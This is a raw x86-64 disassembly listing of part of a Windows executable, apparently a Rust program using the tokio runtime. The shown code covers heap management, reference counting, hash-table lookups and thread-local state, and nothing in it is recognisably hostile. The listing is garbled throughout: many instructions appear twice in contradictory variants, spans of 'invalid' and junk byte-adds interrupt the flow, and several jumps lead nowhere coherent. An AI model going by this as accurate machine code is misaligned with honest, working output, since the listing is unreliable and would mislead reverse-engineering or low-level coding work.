lea rcx, [rbp + 0x1c8]
call fcn.140092e30
mov eax, 0xcc
mov ecx, 0x84
lock cmpxchg qword [r13], rcx
je 0x140034e90
mov rax, qword [r13 + 0x10]
mov rcx, r13
call qword [rax + 0x20]
jmp 0x140034e90
mov rax, qword [rdi + 0x98]
test rax, rax
je 0x14003983f
lock inc qword [rax]
jle 0x140039367
mov qword [rbp + 0x4b8], rax
mov rax, qword [rdi + 0xb8]
mov qword [rbp + 0x4b0], rax
mov rax, qword [rdi + 0x30]
mov r8, qword [rdi + 0x38]
mov rcx, qword [r8 + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
lea rdx, [rcx + rax]
add rdx, 0x10
lea rcx, [rbp + 0x2a0]
call qword [r8 + 0x28]
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x140035277
mov rax, qword [rdi + 0x18]
mov rsi, qword [rbp + 0x2a0]
mov r9, qword [rbp + 0x2a8]
mov rbx, qword [rbp + 0x2b0]
cmp qword [rbp + 0x1c0], 0
je 0x140035305
mov rdx, qword [rbp + 0x1c8]
mov qword [rbp + 0x390], rdx
lock inc qword [rdx]
mov edx, 1
mov qword [rbp + 0x398], rdx
jle 0x140039367
test rcx, rcx
je 0x14003532b
test rsi, rsi
mov qword [rbp + 0x298], rax
je 0x140035343
cmp rbx, 0x10
jae 0x14003534a
test rbx, rbx
je 0x140035423
xor ecx, ecx
nop dword [rax]
cmp byte [rsi + rcx], 0
je 0x140039795
inc rcx
cmp rbx, rcx
jne 0x1400352e0
jmp 0x140035423
lea rcx, [rdi + 0x40]
call fcn.1400a5fa0
jmp 0x1400350bc
mov rdx, qword [rbp + 0x1c8]
mov qword [rbp + 0x390], rdx
lock inc qword [rdx]
jle 0x140039367
xor edx, edx
mov qword [rbp + 0x398], rdx
test rcx, rcx
jne 0x1400352bf
mov qword [rbp + 0x4c8], r9
call fcn.14008ae00
mov r9, qword [rbp + 0x4c8]
jmp 0x1400352bf
xor ecx, ecx
jmp 0x140035447
mov qword [rbp + 0x4c8], r9
lea r11, [rsi + 7]
and r11, 0xfffffffffffffff8
sub r11, rsi
je 0x1400353a4
cmp r11, rbx
cmovae r11, rbx
test r11, r11
je 0x1400353a4
xor ecx, ecx
nop dword [rax]
cmp byte [rsi + rcx], 0
je 0x1400397af
inc rcx
cmp r11, rcx
jne 0x140035370
lea rcx, [rbx - 0x10]
jmp 0x1400353b0
xor ebx, ebx
add rdi, 0x40
mov rcx, rdi
call fcn.1400a5c60
test rbx, rbx
jne 0x1400350fe
jmp 0x1400351b8
lea rcx, [rbx - 0x10]
xor r11d, r11d
jmp 0x1400353b5
cmp r11, rcx
ja 0x1400353f4
mov rdx, qword [rsi + r11]
mov r8, qword [rsi + r11 + 8]
movabs r10, 0xfefefefefefefeff
lea r9, [rdx + r10]
not rdx
and rdx, r9
lea r9, [r8 + r10]
not r8
and r8, r9
or r8, rdx
movabs rdx, 0x8080808080808080
test r8, rdx
jne 0x1400353f4
add r11, 0x10
jmp 0x1400353b0
mov rdx, rbx
sub rdx, r11
mov r9, qword [rbp + 0x4c8]
je 0x140035423
lea r8, [rsi + r11]
xor ecx, ecx
nop dword [rax]
cmp byte [r8 + rcx], 0
je 0x1400397ac
inc rcx
cmp rdx, rcx
jne 0x140035410
mov qword [rbp + 0x2a0], rsi
mov qword [rbp + 0x2a8], r9
mov qword [rbp + 0x2b0], rbx
lea rcx, [rbp + 0x2a0]
call fcn.14003c0c0
mov rcx, rax
call fcn.140074f50
lock inc qword [rax]
jle 0x140039367
mov qword [rbp + 0x4c8], rax
movzx eax, byte [0x1400f02c0]
mov rax, qword [0x1400f0220]
test rax, rax
jne 0x140035486
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140039428
mov qword [0x1400f0220], rax
mov r8d, 0x30
mov rcx, rax
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140039428
mov rbx, rax
mov qword [rax], 1
mov qword [rax + 8], 1
movups xmmword [rax + 0x10], xmm6
mov qword [rbp + 0xa8], rax
lock inc qword [rax]
jle 0x140039367
movzx eax, byte [0x1400f0150]
test al, al
je 0x140035569
mov byte [0x1400f0150], 1
mov qword [rbp + 0x2a0], 0
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xd8], 0
je 0x14003550e
lea rax, [rax + 0xe0]
jmp 0x14003551c
call fcn.140080680
test rax, rax
je 0x140039dec
mov rsi, qword [rax]
mov qword [rax], 0
test rsi, rsi
je 0x140035569
lock inc qword [rsi]
jle 0x140039367
mov byte [0x1400f0150], 1
mov qword [rbp + 0x2a0], rsi
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xd8], 0
je 0x1400355b0
lea rax, [rax + 0xe0]
jmp 0x1400355be
movzx eax, byte [0x1400f0150]
test al, al
je 0x1400355ac
mov byte [0x1400f0150], 1
mov qword [rbp + 0x2a0], 0
add byte [rbx + 0xbad3805], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
add byte [rbx + 0xbad3805], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xd8], 0
je 0x1400355cb
lea rax, [rax + 0xe0]
jmp 0x1400355d9
xor esi, esi
jmp 0x1400355f5
call fcn.140080680
test rax, rax
je 0x140039dda
mov rcx, qword [rax]
mov qword [rax], rsi
test rcx, rcx
jne 0x1400355ea
jmp 0x1400355f5
call fcn.140080680
test rax, rax
je 0x140039dec
mov rcx, qword [rax]
mov qword [rax], 0
xor esi, esi
test rcx, rcx
je 0x1400355f5
lock dec qword [rcx]
jne 0x1400355f5
call fcn.140080750
mov rax, qword [rbp + 0xa8]
mov eax, dword [rbp + 0xa8]
mov rcx, qword [rax + 0x10]
test rcx, rcx
je 0x140035610
lock inc qword [rcx + 0x18]
jle 0x1400399b2
mov qword [rbp + 0x4a0], rax
movzx eax, byte [0x1400f02c0]
mov rax, qword [0x1400f0220]
test rax, rax
jne 0x140035640
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140039820
mov qword [0x1400f0220], rax
mov r8d, 0x38
mov rcx, rax
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140039820
mov rcx, qword [rbp + 0x4c8]
mov qword [rax], rcx
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov rcx, qword [rbp + 0x398]
mov qword [rax + 0x18], rcx
mov rcx, qword [rbp + 0x390]
mov qword [rax + 0x20], rcx
mov rcx, qword [rbp + 0x4b8]
mov qword [rax + 0x28], rcx
mov rbx, qword [rbp + 0x4b0]
mov qword [rax + 0x30], rbx
mov rcx, qword [rbp + 0x298]
mov rdx, rax
lea r8, [0x1400e3380]
call fcn.14008b090
mov rsi, rdx
test rax, rax
je 0x1400356fa
mov rax, qword [rbp + 0x4a0]
lock dec qword [rax]
jne 0x1400356cf
lea rcx, [rbp + 0xa8]
call fcn.140063230
mov rcx, qword [rbp + 0x4c8]
lock dec qword [rcx]
jne 0x1400358bc
call fcn.1400936a0
mov ebx, esi
and ebx, 3
lea rcx, [0x1400e6b90]
movsxd rax, dword [rcx + rbx*4]
add rax, rcx
jmp rax
lock inc qword [rdi + 0xf8]
inc qword [rdi + 0xb8]
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov r8, rbx
call fcn.140093e70
cmp qword [rdi + 0x78], 0
je 0x14003599b
mov rdx, qword [rdi + 0x68]
mov rcx, qword [rdi + 0x70]
mov r8, rcx
and r8, rax
shr rax, 0x39
shr eax, 0x39
shr eax, 0x39
mov qword [rbp + 0x398], rax
movd xmm0, eax
mov rax, rdx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
jo 0x140035717
add byte [rbp + rcx*4 + 0x5a], cl
loopne 0x14003578e
ror byte [rax - 0x77], cl
xchg ebp, eax
nop
add eax, dword [rax]
invalid
jo 0x140035717
add byte [rax], al
xor edx, edx
mov qword [rbp + 0x4b8], rdx
movdqu xmm1, xmmword [rax + r8]
outsd dx, dword [rsi]
or al, 0
movdqa xmm2, xmm1
pcmpeqb xmm2, xmm0
pmovmskb ebx, xmm2
test bx, bx
je 0x1400357c0
lea r10d, [rbx - 1]
and r10d, ebx
tzcnt edx, ebx
add rdx, r8
and rdx, rcx
mov rbx, rdx
shl rbx, 5
mov r9, r11
sub r9, rbx
mov ebx, r10d
ror dword [rbx + rcx*4 - 0x6b], cl
mov al, 4
add al, 0
invalid
ror dword [rbx + rcx*4 - 0x6b], cl
mov al, 4
add al, 0
invalid
add al, 0
add byte [rbp + 0x39], cl
adc dword [rbp - 0x32], esi
cmp qword [r9], r10
jne 0x140035780
jmp 0x14003582d
jns 0x14003581b
nop word cs:[rax + rax]
cmp qword [rbp + 0x4b8], 1
cmp dword [rbp + 0x4b8], 1
mov eax, 0x1000004
add byte [rcx], al
mov r10d, 1
je 0x1400357ee
pmovmskb edx, xmm1
pmovmskb edx, mm1
xor r10d, r10d
test edx, edx
setne r10b
tzcnt edx, edx
add rdx, r8
and rdx, rcx
mov qword [rbp + 0x298], rdx
pcmpeqb xmm1, xmm7
pmovmskb edx, xmm1
test edx, edx
mov r9, qword [rbp + 0x4b0]
jne 0x1400359b6
mov qword [rbp + 0x4b8], r10
mov rdx, qword [rbp + 0x390]
add r8, rdx
add r8, 0x10
add rdx, 0x10
add edx, 0x10
adc byte [rax - 0x77], cl
xchg ebp, eax
nop
add eax, dword [rax]
add byte [rcx + 0x21], cl
and eax, ecx
invalid
invalid
invalid
mov qword [rbp + 0x390], rdx
and r8, rcx
and eax, ecx
and eax, ecx
jmp 0x14003576e
invalid
neg rdx
shl rdx, 5
mov rcx, qword [rax + rdx - 8]
mov qword [rbp + 0x2b0], rcx
movdqu xmm0, xmmword [rax + rdx - 0x18]
movdqa xmmword [rbp + 0x2a0], xmm0
mov rcx, qword [rbp + 0x4c8]
mov qword [rax + rdx - 0x18], rcx
mov rcx, qword [rbp + 0x4a0]
mov qword [rax + rdx - 0x10], rcx
mov qword [rax + rdx - 8], rsi
mov rsi, qword [rbp + 0x2a0]
test rsi, rsi
je 0x1400351a9
mov rcx, qword [rbp + 0x2b0]
call qword [sym.imp.kernel32.dll_CloseHandle]
lock dec qword [rsi]
jne 0x14003589a
mov rcx, qword [rbp + 0x2a0]
call fcn.1400936a0
mov rax, qword [rbp + 0x2a8]
lock dec qword [rax]
jne 0x1400351a9
lea rcx, [rbp + 0x2a8]
call fcn.140063230
add al, byte [rax]
add al, ch
jns case.0x14002753a.48
add al, byte [rax]
jmp 0x1400351a9
clc
invalid
mov ebx, esi
and ebx, 3
and ebx, 3
lea rcx, [0x1400e6b90]
movsxd rax, dword [rcx + rbx*4]
add byte [rax + 0x63], cl
add al, 0x99
add rax, rcx
jmp rax
movzx eax, byte [rsi + 0x10]
cmp al, 0xd
jne 0x1400350e1
jmp 0x140035901
movzx eax, byte [rsi + 0xf]
cmp al, 0xd
jne 0x1400350e1
jmp 0x140035901
mov rcx, rsi
shr rcx, 0x20
call fcn.140077f60
cmp al, 0xd
jne 0x1400350e1
mov rax, qword [rdi + 0xf8]
test rax, rax
je 0x1400350e1
cmp ebx, 1
jne 0x1400351a9
sti
add dword [rdi], ecx
test dword [rdi + 0x48fffff8], ecx
mov ecx, dword [rsi - 1]
mov rcx, qword [rsi - 1]
mov rbx, qword [rsi + 7]
mov qword [rbp + 0x4b0], rcx
call qword [rbx]
adc ecx, dword [rax - 0x7d]
jnp 0x140035937
invalid
je 0x140035981
adc ecx, dword [rax - 0x7d]
jnp 0x140035937
add byte [rdi + rcx*2 + 0x48], dh
cmp dword [rbx + 0x10], 0x11
cmp qword [rbx + 0x10], 0x11
jae 0x140035967
mov r8, qword [rbp + 0x4b0]
jmp 0x140035972
mov rax, rsi
shr rax, 0x20
cmp eax, 0xd
jne 0x1400350e1
mov rax, qword [rdi + 0xf8]
test rax, rax
jne 0x1400351a9
jmp 0x1400350e1
mov r8, qword [rbp + 0x4b0]
mov r8, qword [r8 - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
dec rsi
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400351a9
lea rcx, [rdi + 0x68]
mov rbx, rax
lea rdx, [rdi + 0x88]
call fcn.1400a8380
mov rax, rbx
jmp 0x14003572a
mov r10, qword [rbp + 0x298]
movzx edx, byte [rax + r10]
test dl, dl
js 0x1400359d8
movdqa xmm0, xmmword [rax]
pmovmskb edx, xmm0
tzcnt r10d, edx
movzx edx, byte [rax + r10]
and dl, 1
movzx edx, dl
sub qword [rdi + 0x78], rdx
lea rdx, [r10 - 0x10]
and rdx, rcx
mov r8, rax
mov rax, qword [rbp + 0x398]
mov byte [r8 + r10], al
mov byte [rdx + r8 + 0x10], al
inc qword [rdi + 0x80]
shl r10, 5
mov rcx, r8
sub rcx, r10
neg r10
mov qword [r8 + r10 - 0x20], r9
mov rax, qword [rbp + 0x4c8]
mov qword [rcx - 0x18], rax
mov rax, qword [rbp + 0x4a0]
mov qword [rcx - 0x10], rax
mov qword [rcx - 8], rsi
jmp 0x1400351a9
cmp qword [rbp + 0x268], 0
je 0x140035a54
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x4c0]
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x460]
call fcn.140094c20
mov rax, qword [rbp + 0x460]
cmp rax, 2
mov rsi, qword [rbp + 0x248]
je 0x140035ad0
lea rcx, [rbp + 0x468]
test rax, rax
je 0x140035abe
mov rax, qword [rbp + 0x468]
lock dec qword [rax]
jne 0x140035ad0
call fcn.140092f20
jmp 0x140035ad0
mov rax, qword [rbp + 0x468]
lock dec qword [rax]
jne 0x140035ad0
call fcn.140092e30
cmp esi, 2
je 0x1400398f8
mov qword [rbp + 0xa8], 1
movdqu xmm0, xmmword [rbp + 0x2a0]
movdqu xmmword [rbp + 0xb8], xmm0
mov rax, qword [rbp + 0x2b0]
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0xd8], 1
mov r8, qword [rbp + 0x4d0]
mov qword [rbp + 0xe0], r8
mov rax, qword [rbp + 0x1b8]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0x450]
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0x3a0]
mov edx, 1
call fcn.1400948e0
cmp dword [rbp + 0x3a0], 3
je 0x140039925
mov rax, qword [rbp + 0x3b0]
mov qword [rbp + 0x260], rax
movdqu xmm0, xmmword [rbp + 0x3a0]
movdqa xmmword [rbp + 0x250], xmm0
cmp qword [rbp + 0xa8], 0
je 0x140035c6e
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x158]
cmp eax, 1
je 0x140035bd5
test eax, eax
jne 0x140039eee
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0x108]
lea rdx, [0x140092de0]
call fcn.140075840
mov byte [rsi + 0x158], 1
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x156], 2
jne 0x140039a6e
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
mov byte [rbx + 0x156], 1
cmp qword [rbp + 0xd8], 0
mov rax, qword [rbp + 0xe0]
mov ecx, 0x168
mov edx, 0x1c8
cmove rdx, rcx
lea rcx, [rax + rdx]
add rcx, 0x10
call fcn.140097210
mov esi, eax
mov edi, edx
cmp dword [rbx + 0x148], 0
je 0x140035d62
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov edx, dword [rax + 0x150]
mov eax, dword [rax + 0x14c]
jmp 0x140035d67
mov byte [rbp + 0x310], 0
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x158]
cmp eax, 1
je 0x140035cc9
test eax, eax
jne 0x140039eee
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0x108]
lea rdx, [0x140092de0]
call fcn.140075840
mov byte [rsi + 0x158], 1
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x156], 2
jne 0x140039c56
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
mov byte [rbx + 0x156], 0
cmp qword [rbp + 0xd8], 0
mov rax, qword [rbp + 0xe0]
mov ecx, 0x168
mov edx, 0x1c8
cmove rdx, rcx
lea rcx, [rax + rdx]
add rcx, 0x10
call fcn.140097210
mov esi, eax
mov edi, edx
cmp dword [rbx + 0x148], 0
je 0x14003629f
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov edx, dword [rax + 0x150]
mov eax, dword [rax + 0x14c]
jmp 0x1400362a4
call fcn.140092bf0
mov ecx, dword [0x1400f02c4]
mov r8, qword gs:[0x58]
mov rcx, qword [r8 + rcx*8]
mov dword [rcx + 0x148], 1
mov dword [rcx + 0x14c], esi
mov dword [rcx + 0x150], edi
cmp qword [rcx + 0x108], 0
jne 0x14003998a
mov ecx, dword [0x1400f02c4]
mov r8, qword gs:[0x58]
mov rcx, qword [r8 + rcx*8]
mov qword [rcx + 0x108], 0xffffffffffffffff
cmp qword [rbp + 0xd8], 0
je 0x140035dde
mov rcx, qword [rbp + 0xe0]
lock inc qword [rcx]
mov r8d, 1
jg 0x140035df2
jmp 0x140039367
mov rcx, qword [rbp + 0xe0]
lock inc qword [rcx]
jle 0x140039367
xor r8d, r8d
mov r9d, dword [0x1400f02c4]
mov r10, qword gs:[0x58]
mov r11, qword [r10 + r9*8]
mov r9, qword [r11 + 0x110]
mov r10, qword [r11 + 0x118]
mov qword [r11 + 0x110], r8
mov qword [r11 + 0x118], rcx
inc qword [r11 + 0x108]
mov rcx, qword [r11 + 0x120]
cmp rcx, 0xffffffffffffffff
je 0x140039aad
inc rcx
mov r8d, dword [0x1400f02c4]
mov r11, qword gs:[0x58]
mov r8, qword [r11 + r8*8]
mov qword [r8 + 0x120], rcx
mov qword [rbp + 0x3a0], r9
mov qword [rbp + 0x3a8], r10
mov qword [rbp + 0x3b0], rcx
mov dword [rbp + 0x3b8], eax
mov dword [rbp + 0x3bc], edx
mov rax, qword [r8 + 0x160]
test rax, rax
jne 0x140035e96
call fcn.140095310
test rax, rax
je 0x140039a0f
mov rax, qword [rax]
lock inc qword [rax]
jle 0x140039367
test rax, rax
je 0x140039a0f
add rax, 0x10
mov qword [rbp + 0x4d0], rax
mov byte [rbp + 0x310], 0
lea rbx, [rbp + 0x200]
lea r14, [rbp + 0x2a0]
lea r15, [0x140092de0]
jmp 0x140035eec
mov rcx, qword [rax]
add rcx, 0x10
call fcn.140095620
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x158]
cmp eax, 1
je 0x140035f3b
mov r13b, 2
test eax, eax
jne 0x140035f66
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0x108]
mov rdx, r15
call fcn.140075840
mov byte [rsi + 0x158], 1
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x154]
movzx esi, byte [rax + 0x155]
mov word [rax + 0x154], 0x8001
movzx eax, byte [rbp + 0x310]
test eax, eax
je 0x140035f80
cmp eax, 3
je 0x140035f87
jmp 0x1400393a1
mov byte [rbp + 0x309], 0
mov rcx, rbx
mov rdx, r14
call fcn.14002cf40
mov r12, qword [rbp + 0x200]
test r12, r12
je 0x140035fb0
mov dil, 3
jmp 0x140036060
mov rax, qword [rbp + 0x208]
mov qword [rbp + 0x4b0], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x4c8], rax
mov dil, 1
cmp byte [rbp + 0x309], 3
jne 0x140036060
movzx eax, byte [rbp + 0x2e0]
cmp eax, 4
je 0x140035fed
cmp eax, 5
jne 0x140036016
cmp byte [rbp + 0x300], 0
jne 0x140036016
cmp qword [rbp + 0x2f0], 0
je 0x140036016
mov r8, qword [rbp + 0x2e8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x2c8], 0
je 0x140036036
mov r8, qword [rbp + 0x2c0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rbp + 0x308], 0
cmp qword [rbp + 0x2a8], 0
je 0x140036060
mov r8, qword [rbp + 0x2a0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop dword [rax]
mov byte [rbp + 0x310], dil
cmp r13b, 2
je 0x1400360da
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x158]
cmp eax, 1
je 0x1400360b9
test eax, eax
jne 0x1400360da
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x108]
mov rdx, r15
call fcn.140075840
mov byte [rdi + 0x158], 1
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x154], r13b
mov byte [rax + 0x155], sil
test r12, r12
je 0x14003613d
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x160]
test rcx, rcx
jne 0x140035ee3
call fcn.140095310
test rax, rax
jne 0x140035ee0
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimepark.rsinconsistent_park_state__actual_
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400e3400]
lea r8, [rbp + 0x4a9]
mov edx, 0x2b
call fcn.1400a48c0
ud2
cmp byte [rbp + 0x310], 3
jne 0x1400361d8
cmp byte [rbp + 0x309], 3
jne 0x1400361d8
movzx eax, byte [rbp + 0x2e0]
cmp eax, 4
je 0x140036168
cmp eax, 5
jne 0x140036191
cmp byte [rbp + 0x300], 0
jne 0x140036191
cmp qword [rbp + 0x2f0], 0
je 0x140036191
mov r8, qword [rbp + 0x2e8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x2c8], 0
je 0x1400361b1
mov r8, qword [rbp + 0x2c0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rbp + 0x308], 0
cmp qword [rbp + 0x2a8], 0
je 0x1400361d8
mov r8, qword [rbp + 0x2a0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rbp + 0x4d0]
call fcn.1400955d0
mov ecx, dword [rbp + 0x3b8]
mov edx, dword [rbp + 0x3bc]
call fcn.140095720
lea rcx, [rbp + 0x3a0]
call fcn.140094c20
mov rax, qword [rbp + 0x3a0]
cmp rax, 2
je 0x140037ac2
test rax, rax
je 0x1400379ec
mov rax, qword [rbp + 0x3a8]
lock dec qword [rax]
jne 0x140037ac2
lea rcx, [rbp + 0x3a8]
call fcn.14000c3d0
jmp 0x140037ac2
call fcn.140092bf0
mov ecx, dword [0x1400f02c4]
mov r8, qword gs:[0x58]
mov rcx, qword [r8 + rcx*8]
mov dword [rcx + 0x148], 1
mov dword [rcx + 0x14c], esi
mov dword [rcx + 0x150], edi
cmp qword [rcx + 0x108], 0
jne 0x14003998a
mov ecx, dword [0x1400f02c4]
mov r8, qword gs:[0x58]
mov rcx, qword [r8 + rcx*8]
mov qword [rcx + 0x108], 0xffffffffffffffff
cmp qword [rbp + 0xd8], 0
je 0x14003631b
mov rcx, qword [rbp + 0xe0]
lock inc qword [rcx]
mov r8d, 1
jg 0x14003632f
jmp 0x140039367
mov rcx, qword [rbp + 0xe0]
lock inc qword [rcx]
jle 0x140039367
xor r8d, r8d
mov r9d, dword [0x1400f02c4]
mov r10, qword gs:[0x58]
mov r11, qword [r10 + r9*8]
mov r9, qword [r11 + 0x110]
mov r10, qword [r11 + 0x118]
mov qword [r11 + 0x110], r8
mov qword [r11 + 0x118], rcx
inc qword [r11 + 0x108]
mov rcx, qword [r11 + 0x120]
cmp rcx, 0xffffffffffffffff
je 0x140039c92
inc rcx
mov r8d, dword [0x1400f02c4]
mov r11, qword gs:[0x58]
mov r8, qword [r11 + r8*8]
mov qword [r8 + 0x120], rcx
mov qword [rbp + 0x270], r9
mov qword [rbp + 0x278], r10
mov qword [rbp + 0x280], rcx
mov dword [rbp + 0x288], eax
mov dword [rbp + 0x28c], edx
cmp qword [rbp + 0xd8], 0
jne 0x140039cce
lea rbx, [rbp + 0x3b0]
xorps xmm6, xmm6
nop
xor eax, eax
xchg qword [rbp + 0xd0], rax
mov qword [rbp + 0x4b8], rax
test rax, rax
jne 0x140036d1d
mov qword [rbp + 0x200], 2
mov rax, qword [rbp + 0xb0]
shr rax, 2
movups xmmword [rbx], xmm6
mov qword [rbx + 0x10], 0
lea rcx, [rbp + 0xb0]
mov qword [rbp + 0x3a0], rcx
mov qword [rbp + 0x3a8], rax
lea rdx, [rbp + 0x3c8]
movups xmmword [rdx], xmm6
mov byte [rdx + 0x10], 0
mov eax, dword [rbp + 0x1b0]
mov ecx, dword [rbp + 0x1b3]
mov dword [rdx + 0x14], ecx
mov dword [rdx + 0x11], eax
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0x160]
test rsi, rsi
jne 0x14003646f
call fcn.140095310
test rax, rax
je 0x1400396ac
mov rsi, qword [rax]
lock inc qword [rsi]
jle 0x140039367
test rsi, rsi
je 0x1400396ac
add rsi, 0x10
mov qword [rbp + 0x458], rsi
jmp 0x140036499
add rcx, 0x10
call fcn.140095620
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x158]
cmp eax, 1
je 0x1400364f3
mov r15b, 2
test eax, eax
jne 0x140036524
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0x108]
lea rdx, [0x140092de0]
call fcn.140075840
mov byte [rsi + 0x158], 1
mov rsi, qword [rbp + 0x458]
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r15d, byte [rax + 0x154]
movzx ecx, byte [rax + 0x155]
mov byte [rbp + 0x4d0], cl
mov word [rax + 0x154], 0x8001
mov rdi, qword [rbp + 0x3a0]
lea r14, [rdi + 0x18]
jmp 0x140036547
mov byte [rbp + 0x3d8], 2
movzx eax, byte [rbp + 0x3d8]
test rax, rax
jne 0x140036631
mov rcx, qword [rdi]
and rcx, 0xfffffffffffffffc
lea rax, [rcx + 2]
lock cmpxchg qword [rdi], rcx
je 0x140036540
mov rcx, rsi
call fcn.140095440
mov rbx, rax
mov r13, rdx
xor eax, eax
mov cl, 1
lock cmpxchg byte [rdi + 8], cl
jne 0x1400366e5
mov rcx, qword [rdi]
mov rax, rcx
shr rax, 2
cmp rax, qword [rbp + 0x3a8]
jne 0x140036610
nop dword [rax]
mov rax, rcx
and rax, 3
je 0x1400365e0
cmp eax, 2
jne 0x140036780
and rcx, 0xfffffffffffffffc
lea rax, [rcx + 2]
lock cmpxchg qword [rdi], rcx
je 0x140036610
mov rcx, rax
and rax, 3
mov qword [rbp + 0x1c0], rax
je 0x1400365a0
jmp 0x140039312
and rcx, 0xfffffffffffffffc
lea rdx, [rcx + 1]
mov rax, rcx
lock cmpxchg qword [rdi], rdx
je 0x140036789
mov rcx, rax
and eax, 3
mov qword [rbp + 0x1c0], rax
cmp rax, 2
je 0x1400365a0
jmp 0x1400392f7
mov byte [rbp + 0x3d8], 2
mov al, 1
xor ecx, ecx
lock cmpxchg byte [rdi + 8], cl
jne 0x1400366f3
mov rcx, r13
call qword [rbx + 0x18]
jmp 0x140036547
cmp eax, 1
jne 0x1400369fd
mov rax, qword [rbp + 0x3d0]
cmp rax, 3
lea rbx, [rbp + 0x3b0]
jae 0x140039415
test rax, rax
jne 0x140036a27
xor eax, eax
mov cl, 1
lock cmpxchg byte [rdi + 8], cl
jne 0x140036758
mov rax, qword [rbp + 0x3d0]
cmp rax, 3
jae 0x140039415
test rax, rax
jne 0x140036a61
mov rax, qword [rdi]
shr rax, 2
mov rbx, qword [rbp + 0x3c0]
cmp rax, qword [rbp + 0x3a8]
je 0x140036ac6
mov rax, qword [rbp + 0x3b0]
mov r12, qword [rbp + 0x3c8]
mov qword [rbp + 0x3c0], 0
test rax, rax
je 0x140036701
mov rcx, qword [rbp + 0x3b8]
mov qword [rax + 8], rcx
